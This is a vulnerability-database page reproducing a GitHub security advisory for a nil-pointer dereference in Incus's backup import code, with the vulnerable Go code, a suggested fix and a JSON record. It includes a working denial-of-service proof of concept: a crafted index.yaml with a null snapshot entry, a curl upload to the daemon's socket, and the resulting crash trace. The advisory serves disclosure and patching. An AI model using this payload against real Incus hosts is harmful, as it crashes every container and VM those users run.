GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-4XG6-52MH-FPW8

Vulnerability from github – Published: 2026-06-26 18:52 – Updated: 2026-06-26 18:52
VLAI
Summary
Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}
Details

Summary

(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).

This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.

Vulnerable code

internal/server/storage/backend.go:9352-9412:

func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
    ...
    for _, disk := range srcBackup.Config.DependentVolumes {
        if disk == nil {                                  // ← d768f81 parent fix
            return errors.New("Bad dependent volume definition found in index")
        }
        ...
        snapshots := []string{}
        for _, snap := range disk.VolumeSnapshots {
            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil
        }

        bInfo := backup.Info{
            Project:          disk.Volume.Project,        // ← disk.Volume may be nil
            Name:             disk.Volume.Name,
            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil
            Pool:             disk.Pool.Name,
            ...
        }
        ...
        devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
        ...
    }
}

disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.

The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.

Reach

  1. Attacker is an authenticated client with can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.
  2. POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and a dependent_volumes: list with a malformed entry.
  4. Chain: instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.
  5. incusd dies. Persistent DoS on repeat.

Minimal backup/index.yaml (used in the bundled PoC):

name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
  container:
    name: poc-inst
    architecture: x86_64
    type: container
    profiles: ["default"]
    config: {}
    devices: {}
    expanded_devices:
      depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
    expanded_config: {}
  dependent_volumes:
    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
      pool:   {name: default, driver: dir, config: {}}
      volume_snapshots:
        - ~    # explicit null entry → snap.Name at 9374 panics

(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)

An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-inst.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-inst' \
    http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process gone

Daemon panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]

goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
    /build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
    /build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c

Stack frame backend.go:9374 is the literal snap.Name line.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_instances on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: v7.0.0 confirmed. The dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.

Suggested fix

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
     for _, disk := range srcBackup.Config.DependentVolumes {
         if disk == nil {
             return errors.New("Bad dependent volume definition found in index")
         }
+
+        if disk.Volume == nil || disk.Pool == nil {
+            return errors.New("Bad dependent volume definition: missing volume or pool")
+        }
+
+        for _, snap := range disk.VolumeSnapshots {
+            if snap == nil {
+                return errors.New("Bad dependent volume snapshot definition")
+            }
+        }
+
         optimizedStorage := srcBackup.OptimizedStorage
         optimizedHeader := srcBackup.OptimizedHeader

         snapshots := []string{}
         for _, snap := range disk.VolumeSnapshots {
             snapshots = append(snapshots, snap.Name)
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:52:46Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry\u0027s `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n    ...\n    for _, disk := range srcBackup.Config.DependentVolumes {\n        if disk == nil {                                  // \u2190 d768f81 parent fix\n            return errors.New(\"Bad dependent volume definition found in index\")\n        }\n        ...\n        snapshots := []string{}\n        for _, snap := range disk.VolumeSnapshots {\n            snapshots = append(snapshots, snap.Name)      // \u2190 I-2 trigger: snap may be nil\n        }\n\n        bInfo := backup.Info{\n            Project:          disk.Volume.Project,        // \u2190 disk.Volume may be nil\n            Name:             disk.Volume.Name,\n            Backend:          disk.Pool.Driver,           // \u2190 disk.Pool may be nil\n            Pool:             disk.Pool.Name,\n            ...\n        }\n        ...\n        devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n        ...\n    }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` \u2014 all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -\u003e `createFromBackup:854` (Container guard passes) -\u003e `pool.CreateInstanceFromBackup` -\u003e `backend.go:782 b.createDependentVolumesFromBackup` -\u003e `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n  container:\n    name: poc-inst\n    architecture: x86_64\n    type: container\n    profiles: [\"default\"]\n    config: {}\n    devices: {}\n    expanded_devices:\n      depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n    expanded_config: {}\n  dependent_volumes:\n    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n      pool:   {name: default, driver: dir, config: {}}\n      volume_snapshots:\n        - ~    # explicit null entry \u2192 snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-inst.tar.gz \\\n    -H \u0027Content-Type: application/octet-stream\u0027 \\\n    -H \u0027X-Incus-name: poc-inst\u0027 \\\n    http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n     for _, disk := range srcBackup.Config.DependentVolumes {\n         if disk == nil {\n             return errors.New(\"Bad dependent volume definition found in index\")\n         }\n+\n+        if disk.Volume == nil || disk.Pool == nil {\n+            return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+        }\n+\n+        for _, snap := range disk.VolumeSnapshots {\n+            if snap == nil {\n+                return errors.New(\"Bad dependent volume snapshot definition\")\n+            }\n+        }\n+\n         optimizedStorage := srcBackup.OptimizedStorage\n         optimizedHeader := srcBackup.OptimizedHeader\n\n         snapshots := []string{}\n         for _, snap := range disk.VolumeSnapshots {\n             snapshots = append(snapshots, snap.Name)\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
  "id": "GHSA-4xg6-52mh-fpw8",
  "modified": "2026-06-26T18:52:46Z",
  "published": "2026-06-26T18:52:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus: Nil-pointer dereference in createDependentVolumesFromBackup\u00a0on disk.{Volume,VolumeSnapshots,Pool}"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…